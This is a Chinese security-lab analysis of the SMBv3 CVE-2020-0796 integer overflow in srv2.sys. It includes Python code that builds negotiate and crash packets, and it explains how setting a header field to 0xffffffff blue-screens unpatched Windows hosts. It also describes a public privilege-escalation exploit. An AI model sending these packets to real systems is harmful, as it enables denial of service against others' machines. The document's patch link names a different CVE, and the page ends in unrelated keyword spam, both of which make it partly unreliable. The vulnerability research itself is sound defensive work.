千家信息网

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,今天就跟大家聊聊有关微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据
千家信息网最后更新 2026年10月31日微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

今天就跟大家聊聊有关微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

一、漏洞基本信息

1.SMBv3介绍

服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为" Microsoft Windows网络" 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。

2.漏洞描述

CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

3.漏洞文件

漏洞存在于srv2.sys文件中

4.漏洞函数

该漏洞涉及到了多个函数:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities

二、漏洞深入分析

1. 基础数据结构

主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:

首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。

对以上各字段做简要说明:

字段含义
ProtocolId (4 bytes)协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC," S"," M"和" B"。
OriginalCompressedSegmentSize (4 bytes)原始压缩数据的大小(以字节为单位)。
CompressionAlgorithm (2 bytes)此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一," NONE"除外。
Flags (2 bytes)必须为2个特定值之一
Offset/Length (4 bytes)如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。

CompressionAlgorithms字段中指定的算法:

Flags字段可选的固定值:

2. 分析环境搭建及配置

Windows版本:1909,未安装安全更新补丁(KB4551762)

配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on

结果如下:

调试机windbg配置:

3. 静态分析

3.1 补丁对比

首先进行安全更新前后的补丁对比:

根据已掌握信息,重点查看Svr2DecompressData函数:

可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。

3.2 IDA反编译查看源代码

srv2.sys文件拖入IDA,先观察函数实现:

1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:

如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数--Srv2DecompressMessageAsync函数。

2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:

Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:

在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。

3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。

nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:

由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

4. 动态分析

4.1 SMB2通信流程

SMB2的通信流程如下图所示:

SMB2协议定义的内容:

Protocol negotiation (SMB2 NEGOTIATE) //协议协商

User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF) //用户认证

Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT) //共享访问

File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL) //文件访问

Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY) //目录访问

Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO) //卷访问

Cache coherency (SMB2 OPLOCK_BREAK) //缓存一致性

Simple messaging (SMB2 ECHO) //消息传递

SMB2.1新增:

Protocol Negotiation (SMB2 NEGOTIATE)

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 WRITE)

Cache Coherency (SMB2 OPLOCK_BREAK)

Hash Retrieval (SMB2 IOCTL) //哈希检索

SMB3.x新增:

Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL) //dialect验证

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)

Hash Retrieval (SMB2 IOCTL)

Encryption (SMB2 TRANSFORM_HEADER)

SMB3.1.1新增(1903引入):

Compression (SMB2 COMPRESSION_TRANSFORM_HEADER) //支持压缩数据

4.2 连接建立过程

首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。

参考SMB2通信pcap和官方协议文档构造数据包

# NetBios Session ServiceNegotiate_pkt=b'\x00'                  # Message TypeNegotiate_pkt+=b'\x00\x00\xe6'         # Length# SMB2 HeaderNegotiate_pkt+=b'\xfe\x53\x4d\x42'     # ProtocolIdNegotiate_pkt+=b'\x40\x00'             # StructureSizeNegotiate_pkt+=b'\x00\x00'             # CreditChargeNegotiate_pkt+=b'\x00\x00'             # ChannelSequenceNegotiate_pkt+=b'\x00\x00'             # ReservedNegotiate_pkt+=b'\x00\x00'             # CommandNegotiate_pkt+=b'\x01\x00'             # CreditRequestNegotiate_pkt+=b'\x00\x00\x00\x00'     # FlagsNegotiate_pkt+=b'\x00\x00\x00\x00'     # NextCommand(Chain Offset)Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00'     # MessageId Negotiate_pkt+=b'\xff\xfe\x00\x00'     # ProcessIdNegotiate_pkt+=b'\x00\x00\x00\x00'     # TreeIdNegotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00'     # SessionIdNegotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # Signature# Negotiate Protocol RequestNegotiate_pkt+=b'\x24\x00'             # StructureSizeNegotiate_pkt+=b'\x05\x00'             # DialectCountNegotiate_pkt+=b'\x01\x00'             # SecurityModeNegotiate_pkt+=b'\x00\x00'             # Reserved Negotiate_pkt+=b'\x40\x00\x00\x00'     # Capabilities Negotiate_pkt+=b'\xa2\x8e\xf8\x84'     #ClientGuid Negotiate_pkt+=b'\xe6\x65\xea\x11'Negotiate_pkt+=b'\xb4\xc6\x00\x1c'Negotiate_pkt+=b'\x42\xbf\x6a\x9c'Negotiate_pkt+=b'\x70\x00\x00\x00'     # NegotiateContextOffsetNegotiate_pkt+=b'\x03\x00'             # NegotiateContextCountNegotiate_pkt+=b'\x00\x00'             # Reserved2Negotiate_pkt+=b'\x02\x02'             # Dialect: SMB 2.0.2Negotiate_pkt+=b'\x10\x02'             # Dialect: SMB 2.1Negotiate_pkt+=b'\x00\x03'             # Dialect: SMB 3.0Negotiate_pkt+=b'\x02\x03'             # Dialect: SMB 3.0.2Negotiate_pkt+=b'\x11\x03'             # Dialect: SMB 3.1.1Negotiate_pkt+=b'\x00\x00'#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIESNegotiate_pkt+=b'\x01\x00'             # TypeNegotiate_pkt+=b'\x26\x00'             # DataLengthNegotiate_pkt+=b'\x00\x00\x00\x00'     # ReservedNegotiate_pkt+=b'\x01\x00'             # HashAlgorithmCountNegotiate_pkt+=b'\x20\x00'             # SaltLengthNegotiate_pkt+=b'\x01\x00'             # HashAlgorithmNegotiate_pkt+=b'\xcf\xa4\x93\xd0'     # SaltNegotiate_pkt+=b'\xf3\xd1\x41\x8c'Negotiate_pkt+=b'\x1a\xcb\x36\x4d'Negotiate_pkt+=b'\x9f\x77\x27\x6d'Negotiate_pkt+=b'\x72\x80\x2b\xf4'Negotiate_pkt+=b'\x71\x94\x64\x99'Negotiate_pkt+=b'\xb3\x91\x4b\x7f'Negotiate_pkt+=b'\xf8\x92\x47\xe2'Negotiate_pkt+=b'\x00\x00'#Negotiate Context SMB2_COMPRESSION_CAPABILITIESNegotiate_pkt+=b'\x03\x00'             # TypeNegotiate_pkt+=b'\x0e\x00'             # DataLengthNegotiate_pkt+=b'\x00\x00\x00\x00'     # ReservedNegotiate_pkt+=b'\x01\x00'             # CompressionAlgorithmCountNegotiate_pkt+=b'\x00\x00\x00\x00\x00\x00Negotiate_pkt+=b'\x02\x00'             # CompressionAlgorithmId:LZ77

(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)

根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:

根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。

根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:

# NetBiosSmb2_crash_pkt=b'\x00'                   # Message TypeSmb2_crash_pkt+=b'\x00\x00\x20'          # Length# SMB2 Compression Transform HeaderSmb2_crash_pkt+=b'\xfc\x53\x4d\x42'      # ProtocolIdSmb2_crash_pkt+=b'\x10\x00\x00\x00'      # OriginalCompressedSegmentSizeSmb2_crash_pkt+=b'\x02\x00'              # CompressionAlgorithm LZ77Smb2_crash_pkt+=b'\x00\x00'              # FlagsSmb2_crash_pkt+=b'\x01\x00\x00\x00'      # Offset# Compressed SMB3 Data#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'

4.3 WinDbg动态调试

1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:

断点命中,系统停在srv2!Srv2DecompressData函数。

2. 单步跟踪,来到srv2!Srv2DecompressData + 0x68地址处:

在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。

3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:

前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。

4. 跟进,分析SmbCompressionDecompress函数:

该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。

至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。

5. crash的PoC复现

修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:

成功触发漏洞,造成目标主机蓝屏,PoC测试成功。

6. 本地提权的EXP复现

2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:

而查看该LPE EXP的关键源代码:

该EXP主要是利用了往'winlogon.exe'中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。

7. 更新后的srv2.sys文件

对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。

8. 流量分析

使用两个不同的PoC造成的蓝屏的流量截图如下:

第一种,设置Offset/Length字段为ffffffff:

第二种,设置OriginalCompressedSegmentSize字段为ffffffff:

9. 漏洞防御策略

熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。

利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。

目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。

三、影响范围

目前受影响的Microsoft版本:

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

四、修复建议

该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

看完上述内容,你们对微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

函数 数据 漏洞 字段 分析 安全 文件 补丁 检查 长度 更新 代码 字节 版本 算法 处理 服务 微软 信息 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海挚品互联网科技有限公司 互联网科技金融 百单互联网科技有限公司 奇酷互联网络科技公司 碳银互联网科技有限公司 长亮科技 互联网金融 富国互联网科技创新基金 成都互联网科技公司100强 互联网企业和科技型企业 成都铂石互联网科技做什么的 厦门比较好的科技互联网公司 互联网科技与大数据专业 中国互联网十大科技股排名 互联网科技的全部知识 互联网科技大赛获奖感言 山东有哪些互联网科技公司 国大互联网教育科技有限公司薪资 上海创道互联网络科技有限公司 长沙渺峰互联网科技有限公司 山东蛋芒互联网科技有限公司 新华互联网科技 顺网科技2021年互联网排名 互联网科技商业 西安小鹰速贷互联网科技有限公司 城市宝互联网科技有限公司 银川新华互联网科技学校原画 求路客互联网科技电话 互联网科技博主张洲 平安好医生打造互联网科技医疗 广东猫王互联网科技有限公司电话
0